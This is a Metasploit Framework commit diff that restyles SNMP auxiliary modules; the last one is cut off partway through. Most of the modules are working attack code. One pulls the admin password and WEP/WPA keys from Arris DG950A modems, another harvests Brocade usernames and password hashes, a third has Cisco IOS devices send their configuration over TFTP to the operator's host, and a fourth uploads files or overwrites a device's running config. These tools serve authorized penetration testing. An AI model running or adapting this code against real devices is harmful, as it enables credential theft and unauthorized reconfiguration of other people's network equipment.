modules/auxiliary/scanner/snmp: Resolve RuboCop violations
This commit is contained in:
@@ -3,6 +3,7 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Report
|
||||
@@ -10,64 +11,68 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'AIX SNMP Scanner Auxiliary Module',
|
||||
'Description' => 'AIX SNMP Scanner Auxiliary Module',
|
||||
'Author' =>
|
||||
[
|
||||
'Ramon de C Valle',
|
||||
'Adriano Lima <adriano[at]risesecurity.org>',
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'Name' => 'AIX SNMP Scanner',
|
||||
'Description' => 'AIX SNMP scanner auxiliary module.',
|
||||
'Author' => [
|
||||
'Ramon de C Valle',
|
||||
'Adriano Lima <adriano[at]risesecurity.org>',
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
snmp = connect_snmp
|
||||
|
||||
value = snmp.get_value('sysDescr.0')
|
||||
value = snmp.get_value('sysDescr.0')
|
||||
|
||||
if value =~ /AIX/
|
||||
value = value.split("\n")
|
||||
description = value[0].strip
|
||||
value = value[2].split(':')
|
||||
|
||||
value = value[1].strip
|
||||
value = value.split('.')
|
||||
|
||||
value[0] = value[0].to_i
|
||||
value[1] = value[1].to_i
|
||||
value[2] = value[2].to_i
|
||||
value[3] = value[3].to_i
|
||||
|
||||
version = "#{value[0]}.#{value[1]}.#{value[2]}.#{value[3]}"
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'udp',
|
||||
:sname => 'snmp',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'AIX',
|
||||
:data => { :version => version }
|
||||
)
|
||||
|
||||
status = "#{ip} (#{description}) is running: "
|
||||
status << "IBM AIX Version #{value[0]}.#{value[1]}.#{value[3]} "
|
||||
status << "(#{version})"
|
||||
|
||||
print_status(status)
|
||||
end
|
||||
|
||||
# No need to make noise about timeouts
|
||||
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue Exception => e
|
||||
print_error("#{ip} #{e.class}, #{e.message}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
unless value =~ /AIX/
|
||||
print_error("#{ip} system is not AIX: #{value}")
|
||||
return
|
||||
end
|
||||
|
||||
value = value.split("\n")
|
||||
description = value[0].strip
|
||||
value = value[2].split(':')
|
||||
|
||||
value = value[1].strip
|
||||
value = value.split('.')
|
||||
|
||||
value[0] = value[0].to_i
|
||||
value[1] = value[1].to_i
|
||||
value[2] = value[2].to_i
|
||||
value[3] = value[3].to_i
|
||||
|
||||
version = "#{value[0]}.#{value[1]}.#{value[2]}.#{value[3]}"
|
||||
|
||||
report_note(
|
||||
host: ip,
|
||||
proto: 'udp',
|
||||
sname: 'snmp',
|
||||
port: datastore['RPORT'],
|
||||
type: 'AIX',
|
||||
data: { version: version }
|
||||
)
|
||||
|
||||
status = "#{ip} (#{description}) is running: "
|
||||
status << "IBM AIX Version #{value[0]}.#{value[1]}.#{value[3]} "
|
||||
status << "(#{version})"
|
||||
|
||||
print_status(status)
|
||||
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout
|
||||
# No need to make noise about timeouts
|
||||
rescue ::SNMP::UnsupportedVersion => e
|
||||
vprint_error(e.message)
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("#{ip} #{e.class}, #{e.message}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
@@ -10,47 +10,51 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Arris DG950A Cable Modem Wifi Enumeration',
|
||||
'Name' => 'Arris DG950A Cable Modem Wifi Enumeration',
|
||||
'Description' => %q{
|
||||
This module will extract WEP keys and WPA preshared keys from
|
||||
Arris DG950A cable modems.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE','2014-4863'],
|
||||
['URL', 'https://www.rapid7.com/blog/post/2014/08/21/more-snmp-information-leaks-cve-2014-4862-and-cve-2014-4863/']
|
||||
],
|
||||
'Author' => ['Deral "Percent_X" Heiland'],
|
||||
'License' => MSF_LICENSE
|
||||
'References' => [
|
||||
['CVE', '2014-4863'],
|
||||
['URL', 'https://www.rapid7.com/blog/post/2014/08/21/more-snmp-information-leaks-cve-2014-4862-and-cve-2014-4863/']
|
||||
],
|
||||
'Author' => ['Deral "Percent_X" Heiland'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
snmp = connect_snmp
|
||||
|
||||
if snmp.get_value('sysDescr.0') =~ /DG950A/
|
||||
print_line("#{ip}")
|
||||
|
||||
# System Admin Password
|
||||
wifi_info = ''
|
||||
password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
|
||||
print_line("Password: #{password}")
|
||||
wifi_info << "Password: #{password}" << "\n"
|
||||
else
|
||||
fail_with(Failure::NoTarget, "Does not appear to be an Arris DG950A")
|
||||
unless snmp.get_value('sysDescr.0') =~ /DG950A/
|
||||
fail_with(Failure::NoTarget, 'Does not appear to be an Arris DG950A')
|
||||
end
|
||||
|
||||
print_line(ip.to_s)
|
||||
|
||||
# System Admin Password
|
||||
wifi_info = ''
|
||||
password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
|
||||
print_line("Password: #{password}")
|
||||
wifi_info << "Password: #{password}" << "\n"
|
||||
|
||||
# check WPA Encryption Algorithm
|
||||
encrypt_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1.12')
|
||||
case encrypt_type
|
||||
when 1
|
||||
wpa_encrypt = "TKIP"
|
||||
wpa_encrypt = 'TKIP'
|
||||
when 2
|
||||
wpa_encrypt = "AES"
|
||||
wpa_encrypt = 'AES'
|
||||
when 3
|
||||
wpa_encrypt = "TKIP/AES"
|
||||
wpa_encrypt = 'TKIP/AES'
|
||||
else
|
||||
wpa_encrypt = "Unknown"
|
||||
wpa_encrypt = 'Unknown'
|
||||
end
|
||||
|
||||
# Wifi Status
|
||||
@@ -71,26 +75,26 @@ class MetasploitModule < Msf::Auxiliary
|
||||
wep_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2.12')
|
||||
case wep_type
|
||||
when 1
|
||||
oid = "1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12"
|
||||
oid = '1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12'
|
||||
when 2
|
||||
oid = "1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12"
|
||||
oid = '1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12'
|
||||
else
|
||||
print_line('FAILED')
|
||||
end
|
||||
wepkey1 = snmp.get_value("#{oid}.1")
|
||||
key1 = "#{wepkey1}"
|
||||
key1 = wepkey1.to_s
|
||||
print_line("WEP KEY1: #{key1}")
|
||||
wifi_info << "WEP KEY1: #{key1}" << "\n"
|
||||
wepkey2 = snmp.get_value("#{oid}.2")
|
||||
key2 = "#{wepkey2}"
|
||||
key2 = wepkey2.to_s
|
||||
print_line("WEP KEY2: #{key2}")
|
||||
wifi_info << "WEP KEY2: #{key2}" << "\n"
|
||||
wepkey3 = snmp.get_value("#{oid}.3")
|
||||
key3 = "#{wepkey3}"
|
||||
key3 = wepkey3.to_s
|
||||
print_line("WEP KEY3: #{key3}")
|
||||
wifi_info << "WEP KEY3: #{key3}" << "\n"
|
||||
wepkey4 = snmp.get_value("#{oid}.4")
|
||||
key4 = "#{wepkey4}"
|
||||
key4 = wepkey4.to_s
|
||||
print_line("WEP KEY4: #{key4}")
|
||||
wifi_info << "WEP KEY4: #{key4}" << "\n"
|
||||
|
||||
@@ -122,21 +126,21 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_line('FAILED')
|
||||
end
|
||||
else
|
||||
print_line('WIFI is not enabled')
|
||||
print_line('WiFi is not enabled')
|
||||
end
|
||||
|
||||
# Woot we got loot.
|
||||
loot_name = 'arris_wifi'
|
||||
loot_type = 'text/plain'
|
||||
loot_name = 'arris_wifi'
|
||||
loot_type = 'text/plain'
|
||||
loot_filename = 'arris_wifi.text'
|
||||
loot_desc = 'Arris DG950A Wifi configuration data'
|
||||
loot_desc = 'Arris DG950A WiFi configuration data'
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], wifi_info, loot_filename, loot_desc)
|
||||
print_good("WiFi Data saved in: #{p}")
|
||||
# No need to make noise
|
||||
rescue ::SNMP::UnsupportedVersion
|
||||
rescue ::SNMP::UnsupportedVersion => e
|
||||
vprint_error(e.message)
|
||||
rescue ::SNMP::RequestTimeout
|
||||
raise $ERROR_INFO
|
||||
rescue ::Exception => e
|
||||
rescue StandardError => e
|
||||
print_error("#{ip} error: #{e.class} #{e.message}")
|
||||
disconnect_snmp
|
||||
end
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Report
|
||||
@@ -10,62 +11,74 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Brocade Password Hash Enumeration',
|
||||
'Name' => 'Brocade Password Hash Enumeration',
|
||||
'Description' => %q{
|
||||
This module extracts password hashes from certain Brocade load
|
||||
balancer devices.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
|
||||
],
|
||||
'Author' => ['Deral "PercentX" Heiland'],
|
||||
'License' => MSF_LICENSE
|
||||
'References' => [
|
||||
[ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
|
||||
],
|
||||
'Author' => ['Deral "PercentX" Heiland'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
snmp = connect_snmp
|
||||
|
||||
if snmp.get_value('sysDescr.0') =~ /Brocade/
|
||||
value = snmp.get_value('sysDescr.0')
|
||||
|
||||
@users = []
|
||||
snmp.walk("1.3.6.1.4.1.1991.1.1.2.9.2.1.1") do |row|
|
||||
row.each { |val| @users << val.value.to_s }
|
||||
end
|
||||
unless value =~ /Brocade/
|
||||
print_error("#{ip} - System is not Brocade: #{value}")
|
||||
return
|
||||
end
|
||||
|
||||
@hashes = []
|
||||
snmp.walk("1.3.6.1.4.1.1991.1.1.2.9.2.1.2") do |row|
|
||||
row.each { |val| @hashes << val.value.to_s }
|
||||
end
|
||||
@users = []
|
||||
snmp.walk('1.3.6.1.4.1.1991.1.1.2.9.2.1.1') do |row|
|
||||
row.each { |val| @users << val.value.to_s }
|
||||
end
|
||||
|
||||
print_good("#{ip} - Found user and password hashes:")
|
||||
end
|
||||
@hashes = []
|
||||
snmp.walk('1.3.6.1.4.1.1991.1.1.2.9.2.1.2') do |row|
|
||||
row.each { |val| @hashes << val.value.to_s }
|
||||
end
|
||||
|
||||
credinfo = ""
|
||||
@users.each_index do |i|
|
||||
credinfo << "#{@users[i]}:#{@hashes[i]}" << "\n"
|
||||
print_good("#{@users[i]}:#{@hashes[i]}")
|
||||
end
|
||||
print_good("#{ip} - Found user and password hashes:")
|
||||
|
||||
credinfo = ''
|
||||
@users.each_index do |i|
|
||||
credinfo << "#{@users[i]}:#{@hashes[i]}" << "\n"
|
||||
print_good("#{@users[i]}:#{@hashes[i]}")
|
||||
end
|
||||
|
||||
#Woot we got loot.
|
||||
loot_name = "brocade.hashes"
|
||||
loot_type = "text/plain"
|
||||
loot_filename = "brocade_hashes.txt"
|
||||
loot_desc = "Brodace username and password hashes"
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], credinfo , loot_filename, loot_desc)
|
||||
|
||||
print_status("Credentials saved: #{p}")
|
||||
rescue ::SNMP::UnsupportedVersion
|
||||
rescue ::SNMP::RequestTimeout
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("#{ip} - Error: #{e.class} #{e}")
|
||||
disconnect_snmp
|
||||
end
|
||||
# Woot we got loot.
|
||||
loot_name = 'brocade.hashes'
|
||||
loot_type = 'text/plain'
|
||||
loot_filename = 'brocade_hashes.txt'
|
||||
loot_desc = 'Brocade username and password hashes'
|
||||
p = store_loot(
|
||||
loot_name,
|
||||
loot_type,
|
||||
datastore['RHOST'],
|
||||
credinfo,
|
||||
loot_filename,
|
||||
loot_desc
|
||||
)
|
||||
print_status("Credentials saved: #{p}")
|
||||
rescue ::SNMP::UnsupportedVersion => e
|
||||
vprint_error("#{ip} - #{e.message}")
|
||||
rescue ::SNMP::RequestTimeout => e
|
||||
vprint_error("#{ip} - #{e.message}")
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("#{ip} - Error: #{e.class} #{e}")
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Cisco
|
||||
@@ -10,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Cisco IOS SNMP Configuration Grabber (TFTP)',
|
||||
'Name' => 'Cisco IOS SNMP Configuration Grabber (TFTP)',
|
||||
'Description' => %q{
|
||||
This module will download the startup or running configuration
|
||||
from a Cisco IOS device using SNMP and TFTP. A read-write SNMP
|
||||
@@ -19,34 +20,38 @@ class MetasploitModule < Msf::Auxiliary
|
||||
be able to connect back to the Metasploit system and the use of
|
||||
NAT will cause the TFTP transfer to fail.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'pello <fropert[at]packetfault.org>', 'hdm'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => [
|
||||
'pello <fropert[at]packetfault.org>',
|
||||
'hdm'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
register_options([
|
||||
OptEnum.new("SOURCE", [true, "Grab the startup (3) or running (4) configuration", "4", ["3","4"]]),
|
||||
OptString.new('OUTPUTDIR', [ false, "The directory where we should save the configuration files (disabled by default)"]),
|
||||
OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ])
|
||||
OptEnum.new('SOURCE', [true, 'Grab the startup (3) or running (4) configuration', '4', ['3', '4']]),
|
||||
OptString.new('OUTPUTDIR', [ false, 'The directory where we should save the configuration files (disabled by default)']),
|
||||
OptAddressLocal.new('LHOST', [ false, 'The IP address of the system running this module' ])
|
||||
])
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Start the TFTP Server
|
||||
#
|
||||
def setup
|
||||
# Setup is called only once
|
||||
print_status("Starting TFTP server...")
|
||||
print_status('Starting TFTP server...')
|
||||
@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
|
||||
@tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) }
|
||||
@tftp.incoming_file_hook = proc { |info| process_incoming(info) }
|
||||
@tftp.start
|
||||
add_socket(@tftp.sock)
|
||||
|
||||
@main_thread = ::Thread.current
|
||||
|
||||
print_status("Scanning for vulnerable targets...")
|
||||
print_status('Scanning for vulnerable targets...')
|
||||
end
|
||||
|
||||
#
|
||||
@@ -56,12 +61,16 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Cleanup is called once for every single thread
|
||||
if ::Thread.current == @main_thread
|
||||
# Wait 5 seconds for background transfers to complete
|
||||
print_status("Providing some time for transfers to complete...")
|
||||
print_status('Providing some time for transfers to complete...')
|
||||
::IO.select(nil, nil, nil, 5.0)
|
||||
|
||||
print_status("Shutting down the TFTP service...")
|
||||
print_status('Shutting down the TFTP service...')
|
||||
if @tftp
|
||||
@tftp.close rescue nil
|
||||
begin
|
||||
@tftp.close
|
||||
rescue StandardError
|
||||
nil
|
||||
end
|
||||
@tftp = nil
|
||||
end
|
||||
end
|
||||
@@ -71,11 +80,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Callback for incoming files
|
||||
#
|
||||
def process_incoming(info)
|
||||
return if not info[:file]
|
||||
return if !info[:file]
|
||||
|
||||
name = info[:file][:name]
|
||||
data = info[:file][:data]
|
||||
from = info[:from]
|
||||
return if not (name and data)
|
||||
return if !(name && data)
|
||||
|
||||
# Trim off IPv6 mapped IPv4 if necessary
|
||||
from = from[0].dup
|
||||
@@ -88,7 +98,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
name = "#{from}.txt"
|
||||
::FileUtils.mkdir_p(datastore['OUTPUTDIR'])
|
||||
path = ::File.join(datastore['OUTPUTDIR'], name)
|
||||
::File.open(path, "wb") do |fd|
|
||||
::File.open(path, 'wb') do |fd|
|
||||
fd.write(data)
|
||||
end
|
||||
print_status("Saved configuration file to #{path}")
|
||||
@@ -99,57 +109,54 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
source = datastore['SOURCE'].to_i
|
||||
protocol = 1
|
||||
filename = "#{ip}.txt"
|
||||
lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)
|
||||
|
||||
begin
|
||||
source = datastore['SOURCE'].to_i
|
||||
protocol = 1
|
||||
filename = "#{ip}.txt"
|
||||
lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)
|
||||
ccconfigcopyprotocol = '1.3.6.1.4.1.9.9.96.1.1.1.1.2.'
|
||||
cccopysourcefiletype = '1.3.6.1.4.1.9.9.96.1.1.1.1.3.'
|
||||
cccopydestfiletype = '1.3.6.1.4.1.9.9.96.1.1.1.1.4.'
|
||||
cccopyserveraddress = '1.3.6.1.4.1.9.9.96.1.1.1.1.5.'
|
||||
cccopyfilename = '1.3.6.1.4.1.9.9.96.1.1.1.1.6.'
|
||||
cccopyentryrowstatus = '1.3.6.1.4.1.9.9.96.1.1.1.1.14.'
|
||||
|
||||
ccconfigcopyprotocol = "1.3.6.1.4.1.9.9.96.1.1.1.1.2."
|
||||
cccopysourcefiletype = "1.3.6.1.4.1.9.9.96.1.1.1.1.3."
|
||||
cccopydestfiletype = "1.3.6.1.4.1.9.9.96.1.1.1.1.4."
|
||||
cccopyserveraddress = "1.3.6.1.4.1.9.9.96.1.1.1.1.5."
|
||||
cccopyfilename = "1.3.6.1.4.1.9.9.96.1.1.1.1.6."
|
||||
cccopyentryrowstatus = "1.3.6.1.4.1.9.9.96.1.1.1.1.14."
|
||||
session = rand(1..255)
|
||||
|
||||
session = rand(255) + 1
|
||||
snmp = connect_snmp
|
||||
|
||||
snmp = connect_snmp
|
||||
varbind = SNMP::VarBind.new("#{ccconfigcopyprotocol}#{session}", SNMP::Integer.new(protocol))
|
||||
snmp.set(varbind)
|
||||
|
||||
# If the above line didn't throw an error, the host is alive and the community is valid
|
||||
print_status("Trying to acquire configuration from #{ip}...")
|
||||
|
||||
varbind = SNMP::VarBind.new("#{ccconfigcopyprotocol}#{session}" , SNMP::Integer.new(protocol))
|
||||
value = snmp.set(varbind)
|
||||
varbind = SNMP::VarBind.new("#{cccopysourcefiletype}#{session}", SNMP::Integer.new(source))
|
||||
snmp.set(varbind)
|
||||
|
||||
# If the above line didn't throw an error, the host is alive and the community is valid
|
||||
print_status("Trying to acquire configuration from #{ip}...")
|
||||
varbind = SNMP::VarBind.new("#{cccopydestfiletype}#{session}", SNMP::Integer.new(1))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{cccopysourcefiletype}#{session}" , SNMP::Integer.new(source))
|
||||
value = snmp.set(varbind)
|
||||
varbind = SNMP::VarBind.new("#{cccopyserveraddress}#{session}", SNMP::IpAddress.new(lhost))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{cccopydestfiletype}#{session}", SNMP::Integer.new(1))
|
||||
value = snmp.set(varbind)
|
||||
varbind = SNMP::VarBind.new("#{cccopyfilename}#{session}", SNMP::OctetString.new(filename))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{cccopyserveraddress}#{session}", SNMP::IpAddress.new(lhost))
|
||||
value = snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{cccopyfilename}#{session}", SNMP::OctetString.new(filename))
|
||||
value = snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(1))
|
||||
value = snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(6))
|
||||
value = snmp.set(varbind)
|
||||
varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(1))
|
||||
snmp.set(varbind)
|
||||
|
||||
varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(6))
|
||||
snmp.set(varbind)
|
||||
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout
|
||||
# No need to make noise about timeouts
|
||||
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
rescue ::SNMP::UnsupportedVersion => e
|
||||
vprint_error(e.message)
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue ::StandardError => e
|
||||
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Cisco
|
||||
@@ -10,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Cisco IOS SNMP File Upload (TFTP)',
|
||||
'Name' => 'Cisco IOS SNMP File Upload (TFTP)',
|
||||
'Description' => %q{
|
||||
This module will copy file to a Cisco IOS device using SNMP and TFTP.
|
||||
The action Override_Config will override the running config of the Cisco device.
|
||||
@@ -19,42 +20,45 @@ class MetasploitModule < Msf::Auxiliary
|
||||
be able to connect back to the Metasploit system and the use of
|
||||
NAT will cause the TFTP transfer to fail.
|
||||
},
|
||||
'Author' =>
|
||||
'Author' => [
|
||||
'pello <fropert[at]packetfault.org>',
|
||||
'ct5595'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
[
|
||||
'pello <fropert[at]packetfault.org>',
|
||||
'ct5595'
|
||||
'Upload_File',
|
||||
{
|
||||
'Description' => 'Upload the file',
|
||||
'ciscoFlashCopyProtocol' => '1.3.6.1.4.1.9.9.10.1.2.1.1.3.',
|
||||
'ciscoFlashCopyServerAddress' => '1.3.6.1.4.1.9.9.10.1.2.1.1.4.',
|
||||
'ciscoFlashCopySourceName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.5.',
|
||||
'ciscoFlashCopyDestinationName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.6.'
|
||||
}
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[
|
||||
'Upload_File',
|
||||
{
|
||||
'Description' => 'Upload the file',
|
||||
'ciscoFlashCopyProtocol' => '1.3.6.1.4.1.9.9.10.1.2.1.1.3.',
|
||||
'ciscoFlashCopyServerAddress' => '1.3.6.1.4.1.9.9.10.1.2.1.1.4.',
|
||||
'ciscoFlashCopySourceName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.5.',
|
||||
'ciscoFlashCopyDestinationName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.6.',
|
||||
}
|
||||
],
|
||||
[
|
||||
'Override_Config',
|
||||
{
|
||||
'Description' => 'Override the running config',
|
||||
'ccCopyProtocol' => '1.3.6.1.4.1.9.9.96.1.1.1.1.2.',
|
||||
'ccCopySourceFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.3.',
|
||||
'ccCopyDestFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.4.',
|
||||
'ccCopyServerAddress' => '1.3.6.1.4.1.9.9.96.1.1.1.1.5.',
|
||||
'ccCopyFileName' => '1.3.6.1.4.1.9.9.96.1.1.1.1.6.',
|
||||
'ccCopyEntryRowStatus' => '1.3.6.1.4.1.9.9.96.1.1.1.1.14.'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultAction' => 'Upload_File'
|
||||
'Override_Config',
|
||||
{
|
||||
'Description' => 'Override the running config',
|
||||
'ccCopyProtocol' => '1.3.6.1.4.1.9.9.96.1.1.1.1.2.',
|
||||
'ccCopySourceFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.3.',
|
||||
'ccCopyDestFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.4.',
|
||||
'ccCopyServerAddress' => '1.3.6.1.4.1.9.9.96.1.1.1.1.5.',
|
||||
'ccCopyFileName' => '1.3.6.1.4.1.9.9.96.1.1.1.1.6.',
|
||||
'ccCopyEntryRowStatus' => '1.3.6.1.4.1.9.9.96.1.1.1.1.14.'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultAction' => 'Upload_File',
|
||||
'Notes' => {
|
||||
'Stability' => [SERVICE_RESOURCE_LOSS],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
register_options([
|
||||
OptPath.new('SOURCE', [true, "The filename to upload" ]),
|
||||
OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ])
|
||||
OptPath.new('SOURCE', [true, 'The filename to upload' ]),
|
||||
OptAddressLocal.new('LHOST', [ false, 'The IP address of the system running this module' ])
|
||||
])
|
||||
end
|
||||
|
||||
@@ -62,16 +66,15 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Start the TFTP Server
|
||||
#
|
||||
def setup
|
||||
|
||||
@path = datastore['SOURCE']
|
||||
@filename = @path.split(/[\/\\]/)[-1] #/
|
||||
@path = datastore['SOURCE']
|
||||
@filename = @path.split(%r{[/\\]})[-1] # /
|
||||
|
||||
# Setup is called only once
|
||||
print_status("Starting TFTP server...")
|
||||
print_status('Starting TFTP server...')
|
||||
@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
|
||||
|
||||
# Register our file name and data
|
||||
::File.open(@path, "rb") do |fd|
|
||||
::File.open(@path, 'rb') do |fd|
|
||||
buff = fd.read(fd.stat.size)
|
||||
@tftp.register_file(@filename, buff)
|
||||
end
|
||||
@@ -80,7 +83,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
add_socket(@tftp.sock)
|
||||
|
||||
@main_thread = ::Thread.current
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
@@ -90,90 +92,90 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Cleanup is called once for every single thread
|
||||
if ::Thread.current == @main_thread
|
||||
# Wait 5 seconds for background transfers to complete
|
||||
print_status("Providing some time for transfers to complete...")
|
||||
print_status('Providing some time for transfers to complete...')
|
||||
::IO.select(nil, nil, nil, 5.0)
|
||||
|
||||
print_status("Shutting down the TFTP service...")
|
||||
print_status('Shutting down the TFTP service...')
|
||||
if @tftp
|
||||
@tftp.close rescue nil
|
||||
begin
|
||||
@tftp.close
|
||||
rescue StandardError
|
||||
nil
|
||||
end
|
||||
@tftp = nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)
|
||||
|
||||
begin
|
||||
lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)
|
||||
session = rand(1..255)
|
||||
|
||||
